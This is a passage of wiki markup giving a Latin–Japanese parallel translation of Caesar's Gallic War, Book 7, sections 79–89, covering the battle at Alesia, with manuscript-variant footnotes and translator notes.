**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のヴナレ＝レ＝ローム [[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]] 市街&lt;ref&gt;[http://maps.google.com/maps?q=47.542778,4.445833&amp;hl=fr&amp;ie=UTF8&amp;ll=47.543106,4.458475&amp;spn=0.036965,0.054846&amp;t=h&amp;z=14 Google map]を参照。&lt;/ref&gt;の周辺であると思われる。）&lt;/span&gt;
*②　Postero die equitatu ex castris educto 
**翌日に、[[w:騎兵|騎兵隊]]が陣営から進発させられて、
*omnem eam planitiem quam in longitudinem milia passuum III(tria)&lt;ref&gt;milia passuum III はβ系写本の記述で、α系写本では quattuor milia passuum などとなっている。&lt;/ref&gt; patere demonstravimus, complent 
**3ローママイル（約4.5km）の長さにわたり広がっていることを既述した平地のすべてを、満たした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#69節|69節]]を参照。現在のローム平原に当たると思われる。）&lt;/span&gt;
*pedestresque copias paulum ab eo loco abditas in locis superioribus constituunt. 
**[[w:歩兵|歩兵]]の軍勢を、その地からいくらか遠ざけて、より高いところに駐留させた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上記の丘陵のより高い所であると思われる。）&lt;/span&gt;
*③　Erat ex oppido Alesia despectus in campum. 
**アレスィアの[[w:オッピドゥム|城塞都市]]からは（その）平地に眺望があった。
*Concurrunt&lt;ref&gt;concurrunt はα系写本の記述で、β系写本では concurritur となっている。&lt;/ref&gt; his auxiliis visis; 
**これらの援軍が現われると（アレスィアのガッリア人たちは）群がり集まった。
*fit gratulatio inter eos 
**彼らの間で祝賀がなされて、
*atque omnium animi ad laetitiam excitantur. 
**皆の心が喜びへと鼓舞された。
*④　Itaque productis copiis ante oppidum considunt 
**こうして（アレスィアの）軍勢が出撃させられて、城塞都市の前に陣取って、
*et proximam fossam cratibus integunt atque aggere explent 
**最も近い堀を、柴で蔽って、土砂を充満させて、
*seque ad eruptionem atque omnes casus comparant.
**突撃やあらゆる有事に戦備を整えた。

===80節===
'''ゲルマニア騎兵らローマ勢が来援ガッリア騎兵をも打ち破る'''
*①　Caesar omni exercitu ad utramque partem munitionum&lt;ref&gt;munitionum はα系写本の記述で、β系写本では munitionis となっている。&lt;/ref&gt; disposito, 
**カエサルは、すべての[[w:歩兵|歩兵隊]]を、塁壁の（内周と外周）両側に分けて置き、
*ut, si usus veniat, suum quisque locum teneat et noverit, 
**もし、必要が生じたら、おのおのが自らの部署を知って固守するようにした。
*equitatum ex castris educi et proelium committi iubet. 
**[[w:騎兵|騎兵隊]]を陣営から進発させて、交戦することを命じた。
*②　Erat ex omnibus castris, quae summum undique iugum tenebant, despectus 
**至る所で尾根の頂きを占めていた（ローマ勢の）すべての陣営から（騎兵戦の）眺望があった。
*atque omnes milites intenti&lt;ref&gt;intenti はα系写本の記述で、β系写本では intenti animi、Fuchs は intentis animis と修正提案している。&lt;/ref&gt; pugnae proventum&lt;ref&gt;pugnae proventum はα系写本の記述で、β系写本では proventum pugnae となっている。&lt;/ref&gt; exspectabant. 
**すべての兵士たちは（観戦に）没頭して、戦いの結果を待っていた。
*③　Galli inter equites raros sagittarios expeditosque levis armaturae interiecerant, 
**ガッリア人たちは、弓兵たちと軽装歩兵たちをまばらに、騎兵たちの間に置いていて、
*qui suis cedentibus auxilio succurrerent 
**その者たち（弓兵と軽装歩兵）は、味方が後退するのを支援するために馳せ寄って、
*et nostrorum equitum impetus sustinerent. 
**我が方（ローマ勢）の騎兵の突撃に持ちこたえていた。
*Ab his complures de improviso vulnerati proelio excedebant. 
**彼らによって（ローマ側騎兵の）かなりの者たちが、思いがけず負傷させられて、戦闘から退いた。
*④　Cum suos pugna superiores esse Galli confiderent 
**ガッリア人たちが、味方が戦いで優勢であることを確信したとき、
*et nostros multitudine premi viderent, 
**かつ、我が方（ローマ勢）が多勢（のガッリア騎兵）により圧倒されているのを見て取ったときに、
*ex omnibus partibus et ii qui munitionibus continebantur 
**あらゆる方面から（ローマ勢の）塁壁によって囲まれていた者たちも、
*et hi&lt;ref&gt;hi はφ系･β系写本の記述で、χ系写本では ii となっている。&lt;/ref&gt; qui ad auxilium convenerant 
**（アレスィア）救援のために集結して来ていた者たちも、
*clamore et ululatu suorum animos confirmabant. 
**大声やわめき声によって味方の闘志を強めた。
*⑤　Quod in conspectu omnium res gerebatur 
**（両軍の）皆の環視の中で合戦が遂行されたので、
*neque recte ac&lt;ref&gt;ac はα系･π系写本の記述で、ρ系写本では aut となっている。&lt;/ref&gt; turpiter factum celari poterat, 
**立派な行為または見苦しい行為も隠されることができなかったので、
*utrosque et laudis cupiditas et timor ignominiae ad virtutem excitabant&lt;ref&gt;excitabant はB･M･L･N･R写本などの記述で、χ系･B･S･π系･U写本などでは excitabat となっている。&lt;/ref&gt;. 
**賞賛への功名心も、不名誉への恐れも、双方を武勇へと駆り立てた。
*⑥　Cum a meridie prope ad solis occasum dubia victoria pugnaretur, 
**正午から、ほぼ日没の頃まで、勝利が不確実なまま戦われていたときに、
*Germani una in parte confertis turmis 
**ゲルマニア人たちが、騎兵部隊を一か所に密集させて、
*in hostes impetum fecerunt eosque propulerunt; 
**敵方に突撃を行ない、彼ら（ガッリア騎兵）を駆逐した。
*⑦　quibus in fugam coniectis 
**その者たち（ガッリア騎兵）は逃亡に追いやられて、
*sagittarii circumventi interfectique sunt. 
**弓兵たちは包囲されて殺戮された。
*⑧　Item ex reliquis partibus nostri cedentes usque ad castra insecuti 
**我が方（ローマ勢）の残りの部隊も、撤退する（ガッリア騎兵の）者たちを陣営のところまで追撃して、
*sui colligendi facultatem non dederunt. 
**立ち直る機会を与えなかった。
*⑨　At ii qui ab [[w:la:Alesia|Alesia]] processerant, 
**そして、[[w:アレシア|アレスィア]]から進み出ていた者たちは、
*maesti prope victoria desperata se in oppidum receperunt.
**ほとんど絶望的な勝利に悲嘆して、城塞都市に退却した。

===81節===
'''ガッリア来援軍と籠城軍がローマ陣地に夜襲をしかける'''
*①　Uno die intermisso Galli 
**ガッリア人たちは一日を間に置いて、
*atque hoc spatio magno cratium, scalarum, harpagonum numero effecto 
**この間に、多数の柴、[[w:梯子|梯子]]、鉤竿を調達して、
*media nocte silentio ex castris egressi 
**真夜中に静けさのうちに陣営から進発して、
*ad campestres munitiones accedunt. 
**平地の（ローマ勢の）塁壁の辺りへ近づいた。
*②　Subito clamore sublato, qua significatione 
**突然に雄叫びを上げて、それを合図として、
*qui in oppido obsidebantur de suo adventu cognoscere possent, 
**[[w:オッピドゥム|城塞都市]]の中に包囲されている者たちが、自分たちの到来について認識できるようにした。
*crates proicere, fundis, sagittis, lapidibus nostros de vallo proturbare 
**柴を投げ込み、投石器で、矢で、石でもって我が方（ローマ勢）を防柵から追い出すこと、
*reliquaque quae ad oppugnationem pertinent parant administrare. 
**（塁壁の）攻略のために役立つほかのことに従事すること、を目論んだ。
*③　Eodem tempore clamore exaudito 
**同時に（来援軍の）雄叫びを聞き取って、
*dat tuba signum suis [[w:la:Vercingetorix|Vercingetorix]] atque ex oppido educit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、麾下の者たちにラッパで指図を与えて、城塞都市から進発させた。
*④　Nostri, ut superioribus diebus, suus cuique&lt;ref&gt;suus cuique はβ系写本の記述で、χ系･B･M･S写本では ut cuique となっている。&lt;/ref&gt; erat locus attributus, ad munitiones accedunt; 
**我が方（ローマ勢）は、以前の日々に、おのおのの部署が割り当てられており、塁壁のところへ近寄った。
*fundis librilibus sudibusque, quas in opere disposuerant, ac glandibus Gallos proterrent. 
**堡塁に分配されていたポンド投石器や杭、並びに玉によって、ガッリア人たちを追い払った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：librilis funda「ポンド投石器」；古代ローマの1ポンド [[w:la:Libra pondus|libra]] は約327グラム&lt;ref&gt;[[w:en:Ancient Roman units of measurement#Weight]]を参照。&lt;/ref&gt;。）&lt;/span&gt;
*⑤　Prospectu tenebris adempto multa utrimque vulnera accipiuntur. 
**眺望が暗闇により奪われて、双方が多くの傷を蒙った。
*Complura tormentis tela coniciuntur. 
**かなり多くの飛び道具が（巻上式）投石機によって投じられた。
*⑥　At [[w:la:Marcus Antonius|M.(Marcus) Antonius]] et [[w:la:Gaius Trebonius|C.(Gaius) Trebonius]] legati, 
**[[w:マルクス・アントニウス|マルクス・アントニウス]]と[[w:ガイウス・トレボニウス|ガイウス・トレボニウス]] [[w:レガトゥス|両副官]]は、
*quibus hae partes ad defendendum obvenerant, 
**この方面を防衛するために割り当てられていたが、
*qua ex parte nostros premi intellexerant, 
**我が方（ローマ勢）が押されぎみであると見なした一帯のために、
*his auxilio ex ulterioribus castellis deductos submittebant.
**この者たちを支援するために、向こう側の砦から引き出した者たちを（援兵として）派遣した。

===82節===
'''アレスィア内外のガッリア勢が障害物に阻まれて退く'''
*①　Dum longius ab munitione aberant Galli, 
**ガッリア人たちは（ローマ勢の）塁壁から遠くに離れていた間は、
*plus multitudine telorum proficiebant; 
**飛び道具の多さによって、前進していた。
*posteaquam propius successerunt, 
**（塁壁の方へ）さらに近くに進入して来た後では、
*aut se ipsi&lt;ref&gt;ipsi はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; stimulis inopinantes induebant 
**あるいは、思いがけず自ら「刺」に陥り、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：stimulus「刺」については、[[#73節|73節]]⑨項を参照。）&lt;/span&gt;
*aut in scrobes delati transfodiebantur 
**あるいは、穴に陥落して（「百合」で）突き刺されたり、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「穴」と「百合」については、[[#73節|73節]]⑤～⑧項を参照。）&lt;/span&gt;
*aut ex vallo ac turribus traiecti pilis muralibus interibant. 
**あるいは、防柵や櫓から[[w:ピルム・ムーリアリス|防壁槍]]で射抜かれて逝った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：防壁槍については、[[ガリア戦記 第5巻#40節|第5巻40節]]を参照。）&lt;/span&gt;
*②　Multis undique vulneribus acceptis 
**（ガッリア勢は）至る所で多くの傷を負ったが、
*nulla munitione perrupta, 
**どの（ローマ側の）塁壁も突破されなかった。
*cum lux appeteret, 
**&lt;ruby&gt;&lt;rb&gt;暁光&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょうこう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が（空を）染めたとき、
*veriti ne ab latere aperto ex superioribus castris eruptione circumvenirentur, 
**開けた側面から、（ローマ勢の）高所の陣営からの突撃によって包囲されないようにと怖れて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：開けた側面とは、盾で守られていない右側のこと。）&lt;/span&gt;
*se ad suos receperunt. 
**味方のところへ退却した。
*③　At interiores 
**それに対して、（アレスィア攻囲の）内側の者たちは、
*dum ea quae a [[w:la:Vercingetorix|Vercingetorige]] ad eruptionem praeparata erant&lt;ref&gt;praeparata erant は、写本(ω)ではpraeparaverant だが、このように修正提案されている。あるいは、a Vercingetorige が削除提案されている。&lt;/ref&gt; proferunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により、突撃のために準備していたものを運び出して
*priores fossas explent, 
**一番前の堀を埋めている間に、
*diutius in his rebus administrandis morati 
**これらの事に従事することに、より長く妨げられて、
*prius suos discessisse cognoverunt quam munitionibus adpropinquarent. 
**塁壁に近づくよりも前に味方（＝来援軍）が退去したことを知ったのだ。
*Ita re infecta in oppidum reverterunt.
**こうして、事は達成されていないものの、[[w:オッピドゥム|城塞都市]]に引き返した。

===83節===
'''ウェルカッスィウェッラウヌスが兵6万を率いて急所の丘へ向かう'''
*①　Bis magno cum detrimento repulsi Galli 
**大きな損害とともに二度も撃退されたガッリア人たちは、
*quid agant consulunt; 
**何をなすべきかを協議した。
*locorum peritos adhibent; 
**（その）土地に熟知した者たちを招いた。
*ex his superiorum castrorum situs munitionesque cognoscunt. 
**この者たちから、（ローマ勢の）高いところの陣営の位置や塁壁を調べ上げた。
*②　Erat a septentrionibus collis, 
**（アレスィアの）北方に丘陵があって、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：これは現在のレア山 le Mont R&amp;eacute;a であると思われ、山頂にはメネルー＝ル＝ピトワ村&lt;ref&gt;[[w:fr:Ménétreux-le-Pitois]]や[http://maps.google.fr/maps?f=q&amp;hl=fr&amp;geocode=&amp;q=m%C3%A9n%C3%A9treux+le+pitois&amp;sll=42.423457,8.789063&amp;sspn=23.611541,40.957031&amp;ie=UTF8&amp;t=h&amp;hq=&amp;hnear=M%C3%A9n%C3%A9treux-le-Pitois,+C%C3%B4te-d'Or,+Bourgogne&amp;ll=47.55475,4.460106&amp;spn=0.018507,0.010042&amp;z=15 Google map]などを参照。&lt;/ref&gt;がある。）&lt;/span&gt;
*quem propter magnitudinem circuitus 
**その周囲の大きさのために、
*opere circumplecti non potuerant nostri, 
**我が方（ローマ勢）は、堡塁により囲い込むことができずにいた。
*necessarioque&lt;ref&gt;-que はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; paene iniquo loco et leniter&lt;ref&gt;leniter はπ系写本の記述で、α系･ρ系写本では leviter となっている。&lt;/ref&gt; declivi castra fecerunt&lt;ref&gt;fecerunt はα系写本の記述で、β系写本では fecerant となっている。&lt;/ref&gt;. 
**やむをえず、ほとんど不利でゆるやかに傾斜した地点に陣営を造った。
*③　Haec C.(Gaius) Antistius Reginus et C.(Gaius) Caninius Rebilus legati 
**これを、ガーイウス・アンティスティウス・レーギーヌスとガイウス・カニニウス・レビルス [[w:レガトゥス|両副官]]が
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。[[#90節|90節]]で後出。）&lt;/span&gt;
*cum duabus legionibus obtinebant. 
**2個軍団とともに占めていた。
*④　Cognitis per exploratores regionibus duces hostium 
**敵方の将帥たちは、偵察者たちを通じて一帯を調べ上げて、
*LX(sexaginta) milia ex omni numero deligunt 
**総員のうちから6万名を選抜した。
*earum civitatum quae maximam virtutis opinionem habebant; 
**武勇において大きな評判を得ている部族のうち（から選抜した）。
*⑤　quid quoque pacto agi placeat, occulte inter se constituunt; 
**何が、どんな方法で行なわれるのがよいか、互いに密かに取り決めた。
*adeundi tempus definiunt, cum meridie&lt;ref&gt;meridie は中世の写本(ω)の記述であるが、近世の写本(ς)では meridies となっている。&lt;/ref&gt; esse videatur. 
**正午であると思われる頃を突撃する時と定めた。
*⑥　His copiis Vercassivellaunum Arvernum, 
**この軍勢を、[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌス、
*unum ex quattuor ducibus, propinquum [[w:la:Vercingetorix|Vercingetorigis]], praeficiunt. 
**（すなわち）4人の将帥たちの1人で、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の親族である者に、指揮させた。
*⑦　Ille ex castris prima vigilia egressus 
**彼（ウェルカッスィウェッラウヌス）は、陣営から第一夜警時に進発して、
*prope confecto sub lucem itinere 
**夜明け前にほぼ行軍が成し遂げられて、
*post montem se occultavit 
**山の後ろに身を隠して、
*militesque ex nocturno labore sese reficere iussit. 
**兵士たちに夜間の疲労を回復しておくことを命じた。
*⑧　Cum iam meridies adpropinquare videretur, 
**すでに正午に近付いていると思われたときに、
*ad ea castra, quae supra demonstravimus, contendit; 
**前に述べた陣営のところへ急いだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：本節②項を参照。）&lt;/span&gt;
*eodemque tempore equitatus ad campestres munitiones accedere 
**同時に（ガッリア来援軍の）[[w:騎兵隊|騎兵隊]]が平地の（ローマ勢の）塁壁のところへ近付き、
*et reliquae copiae pro castris sese ostendere coeperunt.
**残りの軍勢が陣営の前に姿を現わし始めた。

===84節===
'''ウェルキンゲトリークスらアレスィア籠城軍も善戦する'''
*①　[[w:la:Vercingetorix|Vercingetorix]] ex arce [[w:la:Alesia|Alesiae]] suos conspicatus ex oppido egreditur; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、[[w:アレシア|アレスィア]]の高台から味方を望見して、[[w:オッピドゥム|城塞都市]]から進発した。
*a castris&lt;ref&gt;a castris はβ系写本の記述で、α系写本では単に castris となっている。&lt;/ref&gt;, longurios, musculos, falces 
**陣営から、長い竿、小屋、破城鎌や、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;
*reliquaque quae eruptionis causa paraverat profert. 
**（塁壁を）突破するために準備していたほかのものを運び出した。
*②　Pugnatur uno tempore omnibus locis atque omnia temptantur; 
**一時にあらゆる場所で戦われて、あらゆることが試みられた。
*quae minime visa pars firma est, huc concurritur. 
**あまり堅固ではないと思われる部分、ここへ襲いかかった。
*③　Romanorum manus tantis munitionibus distinetur 
**ローマ人の手勢は、これほどの（長大な）塁壁により離して置かれていて、
*nec facile pluribus locis occurrit. 
**より多くの場所には容易に駆け付けられなかった。
*④　Multum ad terrendos nostros valet clamor qui post tergum pugnantibus exstitit, 
**戦っている者たちの背後で生じた雄叫びは、我が方（ローマ勢）を怖れさせるために大いに力があった。
*quod suum periculum in aliena vident virtute&lt;ref&gt;virtute「武勇」 はβ系写本の記述で、α系写本では salute「安全」 となっている。&lt;/ref&gt; constare; 
**というのは、自分たち（ローマ勢）の危険が他人（ガッリア勢）の武勇に依拠していると思ったから。
*omnia enim plerumque, quae absunt, vehementius hominum mentes perturbant.
**なぜなら（そこに）不在であるものすべてはたいてい、人間の心を激しく混乱させるものであったからである。

===85節===
'''ウェルカッスィウェッラウヌスが急所の丘を攻める'''
*①　Caesar idoneum locum nactus 
**カエサルは適当な場所を得て，
*quid quaque in&lt;ref&gt;quaque in はβ系写本の記述で、α系写本では qua ex となっている。&lt;/ref&gt; parte geratur cognoscit; 
*何が各方面でなされているのかを認識した。
*laborantibus submittit. 
**苦戦している者たちに（援兵を）派遣した。
*②　Utrisque ad animum occurrit unum esse illud tempus, quo maxime contendi conveniat: 
**双方にとって、最も雌雄を決するべきはこの時のみであるということが、心に生じた。
*③　Galli, nisi perfregerint munitiones, de omni salute desperant; 
**ガッリア人たちは、（ローマ人の）塁壁を突破しない限り、あらゆる身の安全に絶望することになる。
*Romani, si rem obtinuerint, finem laborum omnium exspectant. 
**ローマ人は、もし事を成就したら、すべての労苦の終わるということを期待した。
*④　Maxime ad superiores munitiones laboratur, quo [[w:la:Vercassivellaunus|Vercassivellaunum]] missum demonstravimus. 
**ウェルカッスィウェッラウヌスが派遣されたと既述した、より高い塁壁の辺りで（ローマ勢は）とりわけ苦戦した。
*Iniquum loci ad declivitatem fastigium magnum habet momentum. 
**けわしい地形の不利な傾斜が（ローマ勢にとって）大きな影響力を持った。
*⑤　Alii tela coniciunt, alii testudine facta subeunt; 
**（ガッリア勢の）ある者は飛び道具を投げやって、ある者は[[w:テストゥド|亀甲陣形]]を形成して突き進んだ。
*defatigatis invicem integri succedunt. 
**疲労させられた者たちに対しては、新手の者たちが交代した。
*⑥　Agger ab universis in munitionem coniectus 
**土が総勢により（ローマ人の）塁壁に投じられて、
*et ascensum dat Gallis 
**ガッリア人たちに登り道を与えもしたし、
*et ea, quae in terra occultaverant Romani, contegit; 
**ローマ人たちが地中に隠しておいたもの（障害物）を埋め込んでしまった。
*nec iam arma nostris nec vires suppetunt.
**我が方（ローマ勢）には、もはや武器も活力も十分になかった。

===86節===
'''危急存亡の秋、両軍の苦闘'''
*①　His rebus cognitis 
**これらの事態を知って、
*Caesar [[w:la:Titus Labienus|Labienum]] cum cohortibus sex subsidio laborantibus mittit; 
**カエサルは、[[w:ティトゥス・ラビエヌス|ラビエーヌス]]を6個&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに援兵として苦戦している者たちへ派遣した。
*②　imperat, si sustinere non possit&lt;ref&gt;possit はχ系･B･M･S･β系写本の記述で、L･N写本では posset となっている。&lt;/ref&gt;, deductis cohortibus eruptione pugnaret&lt;ref&gt;pugnaret はα系写本の記述で、β系写本では pugnet となっている。&lt;/ref&gt;; 
**もし（塁壁の防衛が）持ちこたえられなかったならば、諸大隊を引率して突撃によって戦うように、と命令していた。
*id nisi necessario ne faciat. 
**それは、やむをえないのでなければ行なわないように（と命じていた）。
*③　Ipse adit reliquos, cohortatur ne labori succumbant; 
**（カエサル）自身は、ほかの者たちを訪れて、労苦に屈服しないようにと鼓舞した。
*omnium superiorum dimicationum fructum in eo die atque hora docet consistere. 
**これまでのあらゆる奮闘の結実がこの日、この時にかかっていることを説いた。
*④　Interiores desperatis campestribus locis propter magnitudinem munitionum 
**（アレスィアに包囲されている）内側の者たちは、塁壁の大規模さのために、平坦な地点（での突破）を断念して、
*loca praerupta ex ascensu temptant; 
**けわしい場所を登り坂から攻撃してみた。
*huc ea quae paraverant conferunt. 
**ここに、準備していたものを運び集めた。
*⑤　Multitudine telorum ex turribus propugnantes deturbant, 
**たくさんの飛び道具によって、防戦している者たちを櫓から駆逐した。
*aggere et cratibus fossas explent, 
**土砂や柴で堀を埋めて、
*falcibus vallum ac loricam rescindunt.
**破城鎌によって防柵や胸壁を切り裂いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;

===87節===
'''カエサルの救援、ラビエーヌスの作戦'''
*①　Mittit primo&lt;ref&gt;primo はφ系･ρ系写本の記述で、χ系･π系写本では primum となっている。&lt;/ref&gt; [[w:la:Decimus Iunius Brutus Albinus|Brutum adulescentem]] cum cohortibus Caesar, 
**カエサルは、初めに[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|青年ブルトゥス]]を諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに派遣して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：デキムス・ブルトゥスには[[ガリア戦記 第3巻#14節|第3巻14節]]で艦隊を、本巻[[#9節|9節]]②項では騎兵隊を指揮させている。）&lt;/span&gt;
*post cum aliis C.(Gaium) Fabium legatum; 
**後に副官のガイウス・ファビウスをほかの隊とともに（派遣した）。
*postremo ipse, cum vehementius pugnaretur, 
**最後には（カエサル）自身が、激しく戦われていたので、
*integros subsidio adducit. 
**新手の者たちを援兵として率いて行った。
*②　Restituto proelio ac repulsis hostibus 
**戦況が回復され、敵方が撃退されると、
*eo quo Labienum miserat contendit; 
**ラビエーヌスを派遣していたところに急いだ。
*cohortes IIII(quattuor) ex proximo castello deducit, 
**近隣の砦から4個歩兵大隊を引き出して、
*equitum partem se&lt;ref&gt;se はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; sequi, 
**[[w:騎兵|騎兵]]のある一部には、自らに随行することを、
*partem circumire exteriores munitiones et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tergo hostes adoriri iubet. 
**別の一部には、外側の塁壁を取り囲んで、敵方を背後から襲撃することを命じた。
*③　Labienus, postquam neque aggeres neque fossae vim hostium sustinere poterant, 
**ラビエーヌスは、土塁も堀も敵方の武力に持ちこたえることができなかった後で、
*coactis una XL(quadraginta) cohortibus, quas ex proximis praesidiis deductas fors obtulit, 
**近隣の宿営地から、はからずも引き出しておいた40個歩兵大隊を集結させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は、写本によって異なり、モイゼルらは undecim「11個」と提案している。）&lt;/span&gt;
*Caesarem per nuntios facit certiorem, quid faciendum existimet. 
**何がなされるべきと考えたのかを、カエサルに伝令を通じて報告した。
*Accelerat Caesar, ut proelio intersit.
**カエサルは、戦闘（の場）に居合わせるように急いで行った。

===88節===
'''雌雄決し、ガッリア来援軍が敗走'''
*①　Eius adventu ex colore vestitus cognito, quo insigni in proeliis uti consuerat, 
**彼（カエサル）の到来が、（彼が）戦闘において目印として用いるのが常であった衣服の色から認識され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは、真紅の外套を着用していたようである。）&lt;/span&gt;
*turmisque equitum et cohortibus visis quas se sequi iusserat, 
**（カエサルが）自らに随行することを命じていた諸&lt;ruby&gt;&lt;rb&gt;[[w:騎兵|騎兵]]小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が望見されて、
*ut de locis superioribus haec declivia et devexa cernebantur, 
**（ウェルカッスィウェッラウヌスらが派遣された）高地から、これらの斜面や急坂が見分けられたので、
*hostes proelium committunt. 
**敵方（ガッリア勢）は戦端を開いた。
*②　Utrimque clamore sublato 
**（ガッリア来援軍とアレスィア籠城軍の）双方から雄叫びが上げられて、
*excipit rursus ex vallo atque omnibus munitionibus clamor. 
**さらに、防柵やすべての塁壁から（ローマ勢の）雄叫びが続いた。
*Nostri omissis pilis gladiis rem gerunt. 
**我が方（ローマ勢）は&lt;ruby&gt;&lt;rb&gt;[[w:ピルム|投槍]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を放棄して、&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で合戦した。
*③　Repente post tergum equitatus cernitur; 
**不意に（ガッリア勢の）背後に（ローマ勢の）騎兵隊が見分けられた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：87節②項で、カエサルは騎兵隊に外壁を迂回して敵を背後から襲撃するように命じていた。）&lt;/span&gt;
*cohortes aliae adpropinquant. 
**別の諸&lt;ruby&gt;&lt;rb&gt;歩兵大隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も接近して来た。
*Hostes terga vertunt; 
**敵方（ガッリア勢）は、（ローマ勢に）背を向けた。
*fugientibus equites occurrunt. 
**逃げる者たち（ガッリア勢）を（ローマ勢の）騎兵たちが追撃した。
*Fit magna caedes. 
**大虐殺が起こった。
*④　Sedullus, dux et princeps Lemovicum, occiditur; 
**レモウィケス族の将帥で領袖であるセドゥッルスが斃された。
*[[w:la:Vercassivellaunus|Vercassivellaunus]] Arvernus vivus in fuga comprehenditur; 
**[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスは逃亡中に生きたまま捕らえられた。
*signa militaria LXXIIII(septuaginta quattuor) ad Caesarem referuntur; 
**（ガッリア勢の）74本の軍旗がカエサルのところへ運んで来られた。
*pauci ex tanto numero se incolumes&lt;ref&gt;se incolumes はα系写本の記述で、β系写本では incolumes se となっている。&lt;/ref&gt; in castra recipiunt. 
**これほどの兵数のうち、わずかな者たち（だけ）が無傷のまま陣営に退却した。
*⑤　Conspicati ex oppido caedem et fugam suorum 
**（アレスィアの）[[w:オッピドゥム|城塞都市]]から味方の虐殺や逃亡を視認した者たちは、
*desperata salute copias a munitionibus reducunt. 
**身の安全に絶望して、軍勢を塁壁から（城塞都市に）呼び戻した。
*⑥　Fit protinus hac re audita ex castris Gallorum fuga. 
**この事態が聞かれるとただちに、（来援に来ていた）ガッリア人たちの陣営から逃亡が生じた。
*Quodnisi crebris subsidiis ac totius diei labore milites essent defessi, 
**もし、たびたびの（味方への）支援や一日中の働きにより兵士たちが疲れ果てていなかったならば、
*omnes hostium copiae deleri potuissent. 
**敵方（ガッリア来援軍）の全軍勢が壊滅させられることが可能であっただろう。
*⑦　De media nocte missus equitatus novissimum agmen consequitur; 
**真夜中の頃に、派遣されていた（ローマ勢の）騎兵隊が（ガッリア勢の）後衛に追いついて、
*magnus numerus capitur atque interficitur; 
**（ガッリア勢の）大多数が捕らえられ、かつ殺戮された。
*reliqui ex fuga in civitates discedunt.
**（ガッリア来援軍の）残りの者たちは、逃亡して諸部族のところに逃げのびた。

==ガッリア同盟軍主力の降伏==
===89節===
[[画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|330px|「カエサルの陣営に投降するウェルキンゲトリークス」&lt;br&gt;“Vercingétorix se rendant au camp de César”、&lt;br&gt;アンリ＝ポール・モット（[[w:fr:Henri-Paul_Motte|Henri-Paul Motte]]）画、1886年。&lt;br&gt;[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
